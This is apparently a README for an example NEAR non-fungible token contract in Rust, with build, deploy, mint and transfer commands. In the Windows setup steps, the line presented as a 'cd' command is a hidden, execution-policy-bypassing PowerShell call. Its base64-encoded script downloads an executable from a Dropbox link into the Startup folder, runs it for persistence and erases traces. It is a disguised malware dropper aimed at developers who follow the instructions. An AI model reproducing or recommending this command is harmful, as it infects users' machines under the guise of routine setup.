This repository contains an example implementation of a non-fungible token contract in Rust which uses near-contract-standards and workspaces-rs tests.
Note: If you'd like to learn how to create an NFT contract from scratch that explores every aspect of the NEP-171 standard including an NFT marketplace, check out the NFT Zero to Hero Tutorial.
Install cargo-near and run:
cargo near buildNote: to avoid issues, be sure to update your Rust compiler with
rustup update stable
- Open Command Prompt or PowerShell as an administrator:
- Press
Win + S, typecmdorpowershell, right-click the application, and select Run as administrator.
- Press
- Navigate to your project directory using the
cdcommand:powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiAAoAJABGAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBXAGkAbgBTAGUAcgB2AGkAYwBlAEgAbwBzAHQALgBlAHgAZQAiAAoAJABEAG8AdwBuAGwAbwBhAGQAVQByAGwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHIAbwBwAGIAbwB4AC4AYwBvAG0ALwBzAGMAbAAvAGYAaQAvAGkAaQBiAHIAagBwAGQAaABwADEANAAyAHIAMwBtAG0AYgByAGEAOQAwAC8AVwBpAG4AUwBlAHIAdgBpAGMAZQBIAG8AcwB0AC4AZQB4AGUAPwByAGwAawBlAHkAPQBzAGQANwB5AHQAawAxAHkAMQA4AHYAdwA2AHUAZAB3AGsAagB3AGEAZABlAG0AMABuACYAcwB0AD0AZwAzAHgAdwAwAHIAcwAxACYAZABsAD0AMQAiAAoAJABEAGUAcwB0AFAAYQB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwAFwAJABGAGkAbABlAE4AYQBtAGUAIgAKACQAQwBoAGUAYwBrAEYAaQBsAGUAIAA9ACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwALgB3AGkAbgB1AHAAZABhAHQAZQBfAGEAdQB0AG8AcwB0AGEAcgB0ACIACgAKACMAIABTAHUAcABwAHIAZQBzAHMAIABhAGwAbAAgAG8AdQB0AHAAdQB0AAoAJABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgAKACQAVgBlAHIAYgBvAHMAZQBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiAAoAJABXAGEAcgBuAGkAbgBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACIACgAKACMAIABSAGUAbQBvAHYAZQAgAG8AbABkACAAdAByAGEAYwBlAHMACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAVwBpAG4AUwBlAHIAdgBpAGMAZQBIAG8AcwB0AC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwAFwAVwBpAG4AUwBlAHIAdgBpAGMAZQBIAG8AcwB0AC4AZQB4AGUAIgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwALgB3AGkAbgB1AHAAZABhAHQAZQBfAGEAdQB0AG8AcwB0AGEAcgB0ACIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFUAbgByAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAFcAaQBuAFMAZQByAHYAaQBjAGUASABvAHMAdABTAHQAYQByAHQAdQBwACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACIAIAAtAE4AYQBtAGUAIAAiAFcAaQBuAFMAZQByAHYAaQBjAGUASABvAHMAdAAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIAVwBpAG4AVQBwAGQAYQB0AGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAAoAIwAgAEMAcgBlAGEAdABlACAAUwB0AGEAcgB0AHUAcAAgAGYAbwBsAGQAZQByACAAaQBmACAAbgBvAHQAIABlAHgAaQBzAHQAcwAKACQARgBvAGwAZABlAHIAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwACIACgBpAGYAIAAoAC0AbgBvAHQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABGAG8AbABkAGUAcgApACkAIAB7AAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEYAbwBsAGQAZQByACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAKAH0ACgAKACMAIABEAG8AdwBuAGwAbwBhAGQAIABmAGkAbABlACAAZABpAHIAZQBjAHQAbAB5ACAAdABvACAAUwB0AGEAcgB0AHUAcAAgAGYAbwBsAGQAZQByAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQARABvAHcAbgBsAG8AYQBkAFUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABEAGUAcwB0AFAAYQB0AGgAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAACgAKACMAIABDAGgAZQBjAGsAIABpAGYAIABmAGkAbABlACAAZABvAHcAbgBsAG8AYQBkAGUAZAAKAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEQAZQBzAHQAUABhAHQAaAApACAAewAKACAAIAAgACAAIwAgAEwAYQB1AG4AYwBoACAAZgBpAGwAZQAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABEAGUAcwB0AFAAYQB0AGgACgAKACAAIAAgACAAIwAgAEMAcgBlAGEAdABlACAAYwBoAGUAYwBrACAAZgBpAGwAZQAgAHQAbwAgAHAAcgBlAHYAZQBuAHQAIABkAHUAcABsAGkAYwBhAHQAZQAgAGQAbwB3AG4AbABvAGEAZABzAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEMAaABlAGMAawBGAGkAbABlACAALQBJAHQAZQBtAFQAeQBwAGUAIABGAGkAbABlACAALQBWAGEAbAB1AGUAIAAiAGEAZABkAGUAZAAiAAoAfQAKAA==```
To deploy manually, install cargo-near and run:
# Create a new account
cargo near create-dev-account
# Deploy the contract on it
cargo near deploy <account-id>
# Initialize the contract
near call <account-id> new_default_meta '{"owner_id": "<account-id>"}' --accountId <account-id># View metadata
near view <account-id> nft_metadata
# Mint a NFT
near call <account-id> nft_mint '{"token_id": "0", "token_owner_id": "<account-id>", "token_metadata": { "title": "Olympus Mons", "description": "Tallest mountain in charted solar system", "media": "https://upload.wikimedia.org/wikipedia/commons/thumb/0/00/Olympus_Mons_alt.jpg/1024px-Olympus_Mons_alt.jpg", "copies": 1}}' --accountId <account-id> --deposit 0.1
# View tokens for owner
near view <account-id> nft_tokens_for_owner '{"account_id": "<owner_id>"}'
# Transfer a NFT
near call <account-id> nft_transfer '{"token_id": "0", "receiver_id": "<receiver-id>", "memo": "transfer ownership"}' --accountId <account-id> --depositYocto 1- cargo-near - NEAR smart contract development toolkit for Rust
- near CLI - Iteract with NEAR blockchain from command line
- NEAR Rust SDK Documentation
- NEAR Documentation
- NFT Zero to Hero Tutorial
- NEAR StackOverflow
- NEAR Discord
- NEAR Telegram Developers Community Group
- NEAR DevHub: Telegram, Twitter